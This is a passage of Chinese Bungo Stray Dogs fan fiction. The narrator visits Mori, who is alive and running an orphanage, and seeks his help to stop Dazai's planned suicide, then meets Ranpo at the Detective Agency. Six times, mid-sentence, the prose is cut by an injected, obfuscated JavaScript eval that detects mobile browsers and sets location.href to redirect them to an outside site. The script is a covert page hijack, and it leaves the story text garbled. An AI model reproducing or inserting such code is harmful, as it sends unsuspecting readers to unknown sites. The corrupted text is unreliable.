少年的声音就是响亮,你的声音回荡在天地之间。门卫本来都把窗户关上了,但此刻他又打开了窗。 门卫站了起来,像一只壮硕的大鹅,从窗中伸出头瞪着眼睛看着你,“你说你是谁?找谁?” “太宰。”你说,“找森先生。” “见鬼。”门卫从裤兜里摸出一支烟,捞起桌上的打火机,凝重地把烟点上,塞嘴里吸了一口,“这个名字可不兴说啊……” 不知道他说的不可说的名字是“太宰”还是“森”。 立原也一副见鬼的表情——听到活人找死人,可不是见鬼了。 门卫还想说什么,不过,此时门卫室桌上的座机忽然响了。 他叼着烟,接通了电话,应了几声,看了你一眼,然后挂断电话,饶有兴趣地说道,“可以啊小鬼,还真带有身份的。” 门卫打开门,偏了偏脑袋,示意你通过,“进去吧。院长大人有请。” 立原目瞪口呆,而你已经朝前走了,于是他也只能快步跟上。 显然,到现在他也没明白这一切是怎么发生的,这门怎么就突然开了……没人会明白。 但是对于像你这样的披着人皮的某种存在来说,这一切顺利得十分正常。 你沿着石子路往主建筑走,孤儿院里除了雨声什么也没有,安静得有些怪异,正常来说,一个有着许多小孩的地方,是不会这样安静的。 你身后的大门缓缓关闭了。 你陷入了一个封闭的地方。在许多电影里,当主角走进某个地方,而身后的大门关闭,往往代表接下来会发生一些不妙的或惊心动魄的事,但愿你不是电影主角。 一只黑色的猫儿悄无声息地从墙角的草丛里钻出来,你转了个方向,抱着诺亚朝黑猫那边走过去。猫儿一点也不怕人,非但不溜走,还翘着尾巴,在房檐下仰头注视着你。 你微微弯下腰,“喵喵,上来。” 不知道姓名的黑色猫咪十分有灵性,它朝你叫了一声,轻巧一跃,就跳到了诺亚上。 黑猫的毛发被淋湿了一些,但依然亮丽,姿态也优雅得像古时候宫廷中的贵族。 你抱着诺亚重新站直,随后,你站在建筑的门前。 立原收了伞,帮你推开了主建筑华美但有些老旧的大门——你双手抱着诺亚,不愿意腾出手来。 里面没有人。 这里的大厅像教堂的大厅,甚至还有一个像是忏悔室一般的小隔间。 只不过当你接近那个小隔间时,发现小隔间已经被拆除了一半,后面连接着一条很长的走廊。 走廊上挂着孩子们的画作,各种各样的风格都有,用的画材也不一。比如你旁边的一张挂起来的画。你看了过去,这画用的既不是蜡笔也不是水彩,而是以树叶拼出来的,画作内容是各种各样的小鱼。 这是一条属于孩子们的走廊,一边是墙壁与画作,一边是窗户。墙壁和窗户都很新,像是新装修过。 雨水在窗户上留下斑点,窗外生长着苍翠的植被,这场雨将所有的所有都洗刷得非常干净,不论是这里曾经发生过的东西,还是别的什么。 空气很清新,氛围很静谧,你感到心神宁静。 你漫步于走廊上,欣赏着这里的一切,这时,一名年轻的白衣姑娘如幽灵一般,出现在了走廊的尽头。 她大约二十岁左右,金发碧眼,五官很是美丽。 立原的脸上再次浮现出困惑,他直直地看着这位穿着护士服的女性。 “原来雪君在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13017408|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”护士小姐说,“喂,雪君,不要擅自靠近奇怪的人喔?” 她说出这句话后,蹲在诺亚上的黑猫“咪欧”了一声,跳到了地上,迈着小碎步朝护士小姐走了过去。 但是护士并没有抱起它。黑猫尾巴一晃,绕进阴影里,不知溜到哪里去了。 这只通体没有一丝白色的黑猫的名字是“雪君”,起名的家伙要么是为了风雅不顾现实的那种人,要么有着强烈的恶趣味。 护士小姐目送着雪君离开,随后眯起眼睛,看向了你,她走过来,“你说你是,太宰……?” “太宰朔。”你说。 “那家伙……怎么会连姓氏都允许你使用?”护士小姐皱着眉,“不管你要做什么,听好啦,现在是孩子们的午休时间,别再像刚才那样大声吵闹了。” 如果是午休时间,安静成这样就合理了。 “抱歉,我不知道。”你礼貌地说。 “……算了,你找我们院长有什么事?”护士小姐转过身,示意你跟上她。 “突然想拜访一下。”你说。 你们转过几个弯,来到的却不是办公室,而是医务室。 医务室中,一名身形高挑的男子身穿白色大衣,坐在一张椅子上。 名为雪君的黑猫趴在其身前,一只爪子按着桌面上的书。 “森首领……”立原震惊非常,他难以说出完整的话,任何话语在亲眼目睹一位本该死去的人依然活着的时候,都显得过于乏力。 出现在你们眼前的人,赫然是Mafia本应死去的先代首领森。 森先生移开雪君的爪子,雪君又把爪子压在书上,如此反复。 这只黑猫似乎是以为森先生在和自己玩游戏。 森无奈地叹了口气,干脆把书本合了起来,旋即,他抬起头,看着你和立原。 “立原君,好久不见,几年前你还只有这么点高,现在也已经是青年才俊了呢。” 森先生微笑着抬起手,比划了一下高度。 随后,他望向你,“至于你——朔君,你是为太宰来的吧?” 33.第三十三章 他好像一下子就看穿了你的意图——你不是为你自己而来,而是为太宰治而来。 “太宰先生快要死了,我想救他。”你直言道。 在场的人都沉默了,森先生望向你的视线中多了几分谨慎意味。 但从表情上看,他并没有表现出多大的惊讶或者其他情绪……你不知道他究竟在想什么。 这种就是典型的“成熟可靠的大人”,无论发生多令人震撼的事,听到多奇怪的话,都不会一脸震惊,除非忍不住。此时你所说的话,还没有达到能够让森惊讶到无法控制表情的地步。 而护士小姐的神情看起来就诧异了许多,至于立原,虽然他紧绷着身体,能看出他很想保持平静,但他脸上的问号显然已经无法遮掩住了…… “啊,原来如此。”森微微低头,轻轻抚摸着那只叫雪君的黑猫,“你想从我这里取得什么帮助?” “所有。”你说,“我想要现在的你所能够为我提供的一切,我想要你倾你所有。” “什么啊,你是怎么做到这么轻易地提出这种请求的?”金发的护士小姐不悦道。 “没关系的哦,小爱丽丝。”森轻声道。 他收回抚摸猫咪的手,把手指交叉放在身前,显得有些神秘莫测。 “太宰君毕竟救过我一次,在他面临死亡危机的时候,提供帮助是理所当然的事,不过,在那之前,我想知道……你为什么说太宰君即将死亡?”森说,“据我所知,他……” 他在这里停顿了一下。 “……身为首领的太宰君,应当被Mafia保护得很好才对吧?没有人能真正杀死他……没有人能做到这样的事。” “除了他自己。”你说。 “看来你的确知道些什么。”森叹息一声,“但唯独在这件事上,我恐怕没法帮助你。” “为什么?” “要想阻止一个人自主走向自我毁灭,有两种办法。” 森平静得有些阴郁地说,“第一种是让其从内而外地放弃死亡,第二种是强行阻止。如今,我既无法做到第一种,也失去了做到第二种的能力。” “在很多年前,我曾数十次强行阻止过他自杀。” 森的身体稍稍向后仰,他倚靠着椅背,将手放在腿上,“然而做到这一点,需要达成两个条件。” “其一,当时的Mafia们都是我的部下,我能随时掌握太宰君的行踪,并且有在任何时刻赶到他身边阻止他的能力。” “其二,虽然太宰君不会听从我的话放弃死亡,但他对我也有一种……也许能够说是对于监护人的‘信任’的东西,会放任我阻止他。他走向死亡,我前去阻止,几乎等同于某种游戏,能给他带来聊胜于无的乐趣……” “但现在,这两个条件,没有人具备。” 森慢慢地说,“他现在是Mafia首领,没有人拥有随时了解他的动向、随时出现在他身边阻止他死亡的能力。并且,他现在,一旦在某天突然做出‘好、那就这么愉快地去死吧!’的决策……不再会放任他人阻止了。” “现在的太宰君,已经无法从周而复始的自杀失败游戏中得到任何触动,他只会对此感到厌烦。” “当如今的太宰君决定走向死亡,那一定是经过深思熟虑的最终决策……他不会允许任何人破坏他的决策。即使是我,也不能。” 森的声音不疾不徐,最后陷入沉寂。 你们相互对视了一会儿,彼此间都没有说话。 立原倒是像想要说些什么的模样,好奇与困惑折磨着他的灵魂。 但他忍住了,他一言不发地站在你身后,立原知道这不是他应该出声的场合。 “这就是为什么我说,希望得到你的一切帮助。” 你用夜空般漆黑的眼眸注视着森,“我不是想要你帮忙去阻止他,我所想要的是,你帮我得到能够阻止他、破坏他的计划的能力。” “朔君还真是提出了不得了的请求啊。”森笑了笑。 雨声越来越大了,桌上的黑猫慵懒地抬头叫了一声,像是在赞同森的话。 你把诺亚放在桌上,让两只宠物一起玩。 雪君还没有培养出和花盆玩耍的爱好,它挨着诺亚蜷成一团,用琥珀一般的眸子使劲盯着你瞧。 “太宰君是Mafia的首领,你要破坏他的计划,所求的就至少是能够击溃Mafia的能力。” “我知道。”你说,“所以我来找你,既熟悉Mafia,又熟悉太宰先生的人。” 森苦恼地摁了摁眉心,“嘛……你不考虑另外一种办法吗?让他从内而外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13035012|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地放弃死亡,这听起来会简单很多吧?” “要是这很简单的话,森先生早就做到了。”你摇了摇头,“死意是几乎融进太宰先生的骨头里的东西,如果能够把混在他灵魂深处的黑暗彻底除掉,那他就不是太宰先生了。死亡的影子不会从他身上消失,最多被另外的东西勉强中和。” 森看了你一会儿,站起身来。 他转头,在放置药品的白色钢架上,于一堆药瓶中间找出了一个盒子,又从盒子里取出一个黑色信封。 “这是几天前,太宰派人寄给我的信件。” “几天前……” “就是‘那三天’里收到的。”森说。 你清楚他特意说的“那三天”指的是什么。 “那三天之前,我还不是这里的院长。”森又坐回到了椅子上,他把黑色信封拆开,里面是一张薄薄的信纸,“但是突然之间,我和爱丽丝就出现在了这里——然后我找到了这封信。” “里面是太宰先生请您成为孤儿院的院长?” “正是如此。”森说,“前天的时候,我找人了解了一下情况,在大约五个月前,这个孤儿院原本的院长死去了,孤儿院被军警封锁并代管,这个月月初的时候才解除封锁,此后,院长的职务就空缺着,直到我过来。” 太宰和森的胆子都很大,不怕军警突然又回过头来,发现他呆在孤儿院里。 不过,事实上,军警发现森还活着也没有很大的关系……现在的森已经无法对太宰在Mafia的掌控造成任何威胁。 森先生说着,却没有把信纸展开,而是将其放了回去,又把信封封好。 “除此之外,他还在这封信里拜托我照顾一个人。但是,那个人却没有像他信件里说的一样,被送到这个地方。” 他放下信封,把雪君抱了起来,“如果你能知道这个人的身份究竟有何不同,或许就能够知晓太宰君的计划,而如果你要强行阻止他死去……” 森短暂地思考了一下,“我会倾我所有,提供我如今还能够提供的帮助。但是……” 这位成熟理智的男人,用他那双暗红色的眼瞳深深注视着你。 “我不会为你保密。不论你是成功了,还是在此过程中死去了……到最后,我会告诉太宰君,你做这一切的初衷。” 34.第三十四章 门外传来了脚步声和说话的声音,孤儿院的孩子们已经结束了午休时间。 旁边的护士小姐从架子上拿起书和本子,匆忙地走了出去。 你听见门外的孩子们脆生生地喊着“爱丽丝姐姐”,想来“爱丽丝”就是护士小姐的名字。 在爱丽丝关上门前,雪君似是受到外面孩子们笑闹声的吸引,跳下森鸥外的怀抱,钻过门的缝隙,溜到了外面去。 你把诺亚重新抱起来。 你有宠物,森院长没有。在这方面,你已经赢了太多。 “太宰先生总有一天会知道。他很聪明。不过,我会尽可能延缓他知晓我一举一动的时间。” 你说着,转头看向立原,“立原,你会对今天的事保密的,是不是?” 立原不说话。 你拉着立原的手,把诺亚递到他的手中,“带诺亚和雪君他们一起玩吧,照顾好诺亚,别让它碎了。” 诺亚会不会碎是不知道,但立原低头看着手中的花盆,一副困惑得已经碎掉了的模样。 他从前没想过自己有朝一日会去照顾一个花盆。 立原在原地站了几秒,发现你和森先生都不说话后,他抱着诺亚慢慢地走了出去。 他明白了,你和森院长之间需要一场没有外人的密谈。 你关上门,搬来一条椅子坐在森的对面。 “森先生当初是为什么把太宰先生带回Mafia?” “也没有特别的原因……” 森鸥外看着立原的背影被门掩去,收回视线,微微一笑,“异能战争刚结束的时候,我本来是要作为战犯被军警押送去接受审判的,但是,有人保下了我,让我得以进入Mafia……功利地说,我在Mafia里独木难支,需要一个有用又不会对我产生威胁的盟友。不功利地说,救下一个少年不需要理由。看朔君相信哪个了。” 也许两个都不是,人做出某个行为,背后往往有无数复杂的因素。 “那么,森先生认为,太宰先生是为什么会把我带回Mafia,并自称为我的监护人呢?”你问。 森鸥外用视线扫视着你,他的手指无意识地在桌面书本上摩挲。 他在思考如何回答,他在以“曾经太宰治的监护人”的身份,以他的理性与过去的对太宰的了解,评估怎样的回答才能称得上正确。 “我知道教堂案,但我不清楚其中发生了什么。”森鸥外摊手道,“在此方面,少年的直觉说不定反而更有效。你所认为的,也许就是真相。” 你把教堂案的信息告诉了森先生,不管是二叶亭彻到教堂前去过侦探社,还是监控的内容。 在他说出将毫无保留地为你提供帮助后,你似乎也选择了给予他信任。 “你说……太宰君把你抱出了教堂?”森鸥外眯了眯眼睛。 你点了点头,却在森陷入思索之际站起身,转身打开门。 只见立原抱着诺亚站在门外,身体和门离得很近。 “立原君是在担心我吗?”你问。 不,他大概只是在平平无奇地听墙角。 “诺亚说担心你。”立原学会了太宰氏的花盆语。 “原来如此……立原君,让诺亚真正开口说话,为花盆一族发声的神圣任务,就交给你了。”你郑重其事地说。 “诶……?”立原一愣,努力地试着理解你的话。 “这是命令喔,立原君。” 你拍了拍他捧着花盆的手,“不论过往如何,你现在是且只是我的部下,这点小事对你而言想必是很简单的,不要让我失望啊。” 立原后退了半步,你眼含笑意望着他。 你一直注视着立原,直到他抱着诺亚消失在廊道尽头,才再次关上门,最大限度隔绝人声和雨声。 “立原君很努力,也很忠心呢。”森笑着说。 “所以我放心把诺亚交给他。”你说,“言归正传吧,太宰先生把我抱出教堂,有什么问题么?” “身受重伤的你不适合被移动,最好的抢救你的办法不是这样草率地抱着你去医院,而是请救护车,让专业人士治疗你。”森鸥外说,“即使太宰君不是专业的医生,但这一点,他也是了解的。” “除此之外……”森打量着你,“太宰君向来不喜欢与男性有身体上的接触。即使你是少年,在关系达到一定的程度之前,他也不可能主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13047312|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动去触碰你。所以……” “所以他一定有必须触碰我的理由。”你说。 “那就是因为异能了。” 森鸥外说,“人间失格。太宰君的异能,可以令异能无效化。他触碰你,是因为你的异能即使在陷入昏迷时也在发动着,他必须在与你一直保持接触的同时,隐藏自身的异能信息。” 太宰治的异能是Mafia里最隐秘的情报,而森就这样平淡地告诉了你。 事情便很明显了——在教堂时,二叶亭彻的异能始终发动着,造成了群体失忆事件,而太宰治为了阻止群体失忆现象继续扩散,不得不使用了人间失格。 “他发现了那件事——他发现了你不是二叶亭彻。”森鸥外微笑着注视着你,“否则他不会冒着异能被外人察觉到的风险,亲自把你救回来。” 当他说出这句话,便说明——森鸥外也发现了,发现了你与二叶亭彻全然不同,发现了这具身躯中换了个人。 “太宰君会把你带回去,一定是因为你有特殊的地方,让他认为你有价值,或者……需要受到管控。” 森鸥外想了想,“之前有个叫梦野久作的孩子,我把他带回Mafia,就是这样的缘由。我不知道太宰将其安置到了哪里,但应该也在Mafia内的某个地方。” “是这样吗……”你说。 “也未必没有二叶亭君的原因……把曾经的敌人变成要听自己的话的小少年,养在自己眼皮子底下,太宰君有这样的恶趣味也不稀奇。”森鸥外笑道。 你与森鸥外简单聊了几句关于太宰的事情,交换了联系的方式,便走出了医务室。 在应该是教室的地方,你找到了爱丽丝、立原,还有孩子们。 孩子大约有二三十名,大的和你年龄差不多,小的只有五六岁的模样。 “这位就是太宰朔,按照我们之前说的,如果有人问起,他就是与你们一起在这里长大的哥哥,明白吗?” 爱丽丝已经换了一身衣服,她穿着一身装饰简单的深红色裙装,有几分教师的模样。 孩子们齐齐应了一声,随后便有胆子大的与性格开朗的,扑上来“哥哥”、“朔哥哥”的叫。 35.第三十五章 “外面的生活好不好?如果不好,我就不要出去了。” “院长先生说长大以后就会有‘亲人’了,这是真的吗?” “被领养走的都是‘被人喜爱的孩子’,被人喜爱究竟是什么样的感觉呀?” 一群孩子围着你,他们七嘴八舌地问着各种各样的问题,有的是纯粹的好奇,有的不乏天真可爱。 你的脸上几乎是下意识地浮现出微笑。 你把手伸进口袋里,但是口袋里已经没有糖果了,只有蟹肉罐头为你的手指传去冰凉的触感。 “外面的生活要自己体验过才能明白呢,不管怎么样,还是出去试一试比较好……院长先生说的都是真的,不过即使不长大,孤儿院的大家也可以成为彼此的亲人……嗯、被人喜爱嘛……” 你回答着孩子们的问题,这时,你感觉到有人拉了拉你的衣摆。 你偏过头,是一个眼神有几分怯色的小女孩,她没有问任何问题,而是鼓起勇气伸出了手,她的手心中,是一只小小的白色千纸鹤。 你接过千纸鹤,还未说话,女孩便快速地跑走了。 其他的孩子见状,争先恐后地把各种物品送给你,有各种折纸、小画、自制的娃娃,还有巧克力饼干与小包装的山楂片。 你不怎么需要这些东西,但在孩子们真诚热切的目光下,你还是收下了礼物。 很快,你的大衣口袋就变得鼓鼓囊囊的了。 你比你想象的要受欢迎……这种受欢迎程度足以让你感到异样。 孤儿院的孩子们一般是不会把食物送出去的,但你甚至收到了一包巧克力饼干——在横滨寻常的孤儿院,别说一包巧克力饼干,仅仅一块巧克力饼干就可以让一个小孩视若珍宝,存着不舍得吃掉。 “大家都这么欢迎我啊……”你低头看着自己被塞得满满当当的口袋,你完全可以凭这个口袋去竞选今年的圣诞老人。 “因为是有朔哥哥在,新的院长先生才会到这里来。”一个孩子说。 “不对。院长先生说,他是为了完成天使的嘱托,帮助我们有朝一日能够顺利地成人、离开孤儿院,才会到这里成为我们的院长的。而朔哥哥就是为我们探寻走向外面的道路的先行官。”另一个孩子说。 “先行官是什么意思?”有孩子问。 “反正——就是帮助我们走出这里的人。”一名大一点的孩子说,“有了这样的人,才能一直吃得上饼干。” 原来他们欢迎的并不是你,而是欢迎饼干,欢迎让他们的生活改善了的森院长、太宰,以及目前还只存在于梦中的“离开这里”的愿望。 孩子们的眼瞳中,映着对幻想出来的“未来的幸福”的向往,这样的向往随着你一言我一语,在人群中缓慢扩散着。 空气中充满了安逸温暖的感觉。 孩子们眼中的憧憬是你从未在太宰的眼中见到过的,他们对美好的憧憬与太宰眼中常常带给你的无法言说的感觉,是一对反义词。 无比温馨的氛围让你呆呆地站在原地,你的眼前突然出现了一个身形修长的黑色人影,这个人影的出现是那样突兀,让你的心跳都停了一拍。 你抬起了头。 太过清晰的幻影再次出现了,这次不像上次那么血腥。 幻象中的“太宰治”安静地注视着你,他的眼神中没有任何东西,没有悲伤或欣喜,也没有善意或恶意,只有完完全全的空白。 但这样的眼神,很快就被他的脸上绽开的微笑打破了。 ——“咦,朔君也给我准备了礼物吗?真是感动啊,即使我忙碌到一直忽视你,你也没有忘记我,这么细心的家伙,难怪会受到大家的喜欢呢……会是什么礼物呢?我很期待。” 他的声音就像是从很遥远的或者水底传来的,传到你耳中,带起一阵沉闷的嗡鸣。 “太宰治”停顿了一会儿,像是在倾听什么,随后他轻轻笑道,“认真猜测的话就不必了,礼物的神秘性,也是其价值之一不是吗?说起来,朔君其实对干部的身份很感兴趣吧,如果是这样……” 即使比起上次残酷冰冷的幻象,这次要温暖太多,但你的身体依然开始出现不适的症状。 忽然,你听见一声猫叫。 雪君扒拉着你的裤腿,伸出爪子,像是想试着去够你手中的晴天娃娃。你把晴天娃娃往哪里放,它就往哪里看。 当你再抬起头时,幻象已经消失了。 你把晴天娃娃放进了口袋,雪君不满地冲你叫着,它用黄澄澄的眼睛瞪着你,围着你踱步。 你呼出一口气。 立原和爱丽丝,还有孩子们,齐齐注视着你,他们都注意到了你的异常。 “是想到什么了吗?”立原问。 “抖得这么厉害。”爱丽丝瞧了一眼你的手,“硬撑也太愚蠢了,去神经科看看吧。” 你身上发生的一切是现代医学无法解释也无法治愈的。 你朝他们摇了摇头,他们便不再多问。 立原把诺亚还给了你,也许他觉得你抱着诺亚会更稳定一些。 “我下次再来看孩子们。”原地站立了片刻后,你说。 你如今的状态不适合继续呆在这个地方。 环境整体的氛围越是温暖,越是得到他人的关怀与喜爱,你的心脏中就有越多的无名的不安。 这是一种无法解释的生理反应,不安定的感觉像不断落下的雪花一般,在你身上的每处细胞中堆积着,一点一点地累加,致使你的眼前出现重重的黑影与光斑。 死灵之书带来的负面影响,正持续地起着作用。 你几乎是逃一般躲进了立原的车,坐进车的后座。 雨还在下着,车窗上的水珠不断地与新的雨水相汇,再顺着玻璃流下,如此更替。 谁知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13064258|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的接连失控除了那本邪门的书的影响,有没有阴雨天的原因呢。真是讨厌的雨。 手机忽然振动了一下。 你点开消息,发现森先生发来了信息。 森鸥外:【代我和孩子们多多关照敦君。】 除此之外,你还发现了十来分钟前,“诺亚的家属”发来的信息。 那时你的状态不佳,没能注意到消息提醒。 费奥多尔:【或许您会对猎犬的条野采菊感兴趣。】 你没有着急回复,而是望向了窗外,“不回Mafia,转弯,去侦探社。” “我认为你还是回去休息好一些……森院长也是这么建议的。” 立原说,“而且……天快黑了。首领要是知道你又出门,说不定会担心你。” 也不知道他做了多少心理建设,才能接受先代首领未死、还在孤儿院成为了院长的事实。 “去侦探社。”你说着,伸出手,把手机屏幕在立原面前晃了晃。 立原不知道“诺亚的家属”是什么人,但他明显看清了费奥多尔的那条消息。 他瞳孔一缩,当即闭嘴了,沉默地掉头朝侦探社驶去。 那是一栋看起来有几分复古气息的建筑。 一楼的咖啡厅的装潢很有上个世纪的韵味,无论是暖色的灯光还是彩绘的玻璃,亦或是旁边的砖墙以及柜台上的留声机,都让咖啡厅充满令人安心的温暖感觉。 留声机播放着过时已久的爵士乐,咖啡厅里没有多少客人,女服务生礼貌地朝你微笑了一下,见你朝电梯和楼梯间的方向走去,便没有过来询问你是否要点什么餐食。 电梯也是复古的设计,在抵达目的地时会响起提醒电梯已到达目标楼层的通知铃声,现在已经很少有这样的设计了。 侦探社在这座建筑的四楼,四楼的走廊十分昏暗,你在铃声中走出电梯。 出电梯后的右手边是手术室……里面传来了凄惨得不像话的痛苦嚎叫声,说实话,有点恐怖。 你没怎么犹豫地往左边走,左边的尽头就是侦探社的门。 入门第一眼便是被屏风隔出来的会客厅,会客厅沙发上空无一人。 屏风后面是社员们的办公场所,你听见那里传来社员们的说话声。 “非法排放废弃物的调查报告以及复函都已经找到了,但是我们发过去的报告中,并没有详细描述调查经过,那三天的记忆又被遗忘了,所以没法知道他们说有社员给他们造成了损失是真是假。”一个年轻的女声。 “乱步先生,关于这件事——”男性青年的声音。 “啊啊,这个调查一听就很无聊啦,我一点兴趣也没有——他们要是真的觉得是侦探社造成了损失,就让他们找楼下的律师事务所去!”被称为乱步先生的名侦探说。 脚步声渐近,乱步绕过屏风,看到站在门口的你时,明显愣了一下。 36.第三十六章 他的惊讶表现得是那样明显。乱步一动不动地僵在原地,他睁开了碧绿的眼睛,“二叶亭——” 他下意识地翕动着嘴唇,却没有发出声音,因为这位名侦探和太宰治一样在转瞬间就察觉到了那个“事实”——你并非二叶亭彻的事实。 “走吗,一起去吃冰淇淋,我请客。”你微笑着说。 你的胃要闹了,今天一整天,除了凌晨的时候中原中也给你塞了一把软糖,你没有吃任何别的东西,甚至没有喝上一口水。 在这种情况下,你选择的食物竟然是冰淇淋。 虽然……不可否认,冰淇淋的确很好吃。 “是这样啊……”乱步低声说,“二叶亭……他永远回不来了啊。” 他沉默了一下,随后一脸不高兴地走到你面前,“我今天要吃巧克力味的。” “薄荷巧克力?”你问。 “不要薄荷。”乱步说着,他看了一眼立原,和你一起走到了走廊上。 “乱步先生。”这时,一名青年忽然在你们身后叫住了乱步。 你们回过头,那是一个看起来身形瘦削,看起来气色并不太好的青年,他的头发上边部分是黑色的,但是有两撮头发末端为雪白色。 从脸色上来说,似乎不像故意染色,而是身体原因致使发色异变。 “在下已经慎重地考虑过了,还是希望能够去港口Mafia调查一番。在下会独自前往,无论是否查清那日为何会出现在楼中,都不会牵连到侦探社,请您放心。” “考虑得还不够慎重。”乱步的神色本就不太高兴,现在更是浮现出几分生气的意味,但他并没有解释为何而生气,“再去考虑一下!” 说罢,他没有理会身后这位应当是侦探社社员的青年,拉着你快步走进了电梯。 立原看了看那站在原地的青年,又看见电梯门即将关闭,赶紧跟上你们,跑进了电梯里面。 “是因为他身为社员,面对危险时却依然只想着单独行动,乱步先生才这样生气吗?”你问。 “差不多啦。”乱步说,“而且如果他真的认真考虑过了的话……太宰朔,他应该在刚才叫住你,而不是我。” 按理来说,你的名字应该只在Mafia内以及政府的特殊部门中流传,但现在,似乎全世界都知道了你的名字。 你们来到了一楼,一楼的咖啡馆有卖冰淇淋,你和乱步一人端着一杯冰淇淋——他选了巧克力口味,你选了牛奶口味——找了个客座坐下。 你看见乱步注视着被你放在桌上的花盆,于是友好地介绍道,“这是诺亚,很可爱吧。” 然后你指了指刚才为你们付钱的立原,“这是立原道造,立原君,是我的——” 你停顿了一下,立原像是怕你说出什么惊世骇俗的东西,赶忙道,“我是朔先生的保镖。” 你点了点头。 乱步盯着诺亚看了一会儿,即使是名侦探,似乎也没法理解为什么这里会出现一个花盆。 随后,他看够了,收回视线,挖了一勺冰淇淋,“你认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13078130|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识我。” “当然认识,放眼整个横滨,谁不知道大名鼎鼎的名侦探江户川乱步呢?”你笑道。 “你知道我说的不是那个。”乱步说,“你认识我,但是我的记忆中没有你。” “乱步先生的意思是,我们在那三天中认识了吗?” “也不是。”乱步咬着冰淇淋勺子,若有所思。 “那是什么时候认识的呢?” “大概是另外的时空或者梦境之中,诸如此类的吧。”乱步有些轻佻地说着荒诞的话。 你笑了笑,“这样说的话,我与乱步先生很有缘分呢。” “你的想法我是知道的啦,你想找我询问些东西,是不是?虽然解决问题就像把汽水拧开一样简单,但我可不会因为区区一杯冰淇淋,或者莫须有的缘分,对你另眼相待,把所有秘密都展现出来。”乱步别有深意地看着你。 “我再请您一杯。”你说。 “再来十杯又怎么样呢。”乱步说,“我希望能与二叶亭再说一些话,你能做到这件事吗?” “我能转达。”你说。 闻言,他哼笑了一声,没有再说话。 乱步是到目前为止,你见到的唯一一个惦念着二叶亭彻本身,而不是特异点或者教堂案的人。 “我听说二叶亭君在教堂案发生前,来侦探社找过您。” “是有这回事,但是即使是名侦探,也不能避开异能的影响。”乱步低头盯着冰淇淋,“名侦探也有‘不知道’的权利的吧?我不知道。” 37.第三十七章 有些东西,乱步并不想告诉你,这很正常,人们都会有属于自己的秘密。 “我不问二叶亭彻了,乱步先生,我可以与你有个约会吗?”你微微一笑。 立原当即瞪大了眼睛,连乱步都因为你这句话的轻浮而放下了冰淇淋的勺子——这句话的确有些出人意料。 “原来如此,是想要名侦探用来解决事件的特殊能力吗。至少半个日本的人都因此想约见我,如果朔君也想约我出去,也不是不可思议的事啦……” 乱步很快就反应了过来。 “但是除了我以外的人,全部都是笨蛋,虽然我已经尽可能地帮助笨蛋们好好地在世间生活,可是啊,假如每个笨蛋都因为一些笨蛋事情来找名侦探,即使是我,也会葬身在无趣乏味的空气里面,所以说,我只能遗憾地给出——拒绝。” 他想了想,“尤其是——二叶亭彻是笨蛋中的笨蛋,长得和他一样的你,说不定有继承这种究极笨蛋因子呢……我才不要答应。” 聪明的名侦探在用胡说八道拒绝你——他说的是真的?怎么可能! 到底是谁在把这样张口就是一个“究极笨蛋因子”的幼稚家伙称作日本警察的救主,让全日本的警视厅都因为疑难案件时不时来邀请他啊?到底是谁? “什么是究极笨蛋因子?”你问。 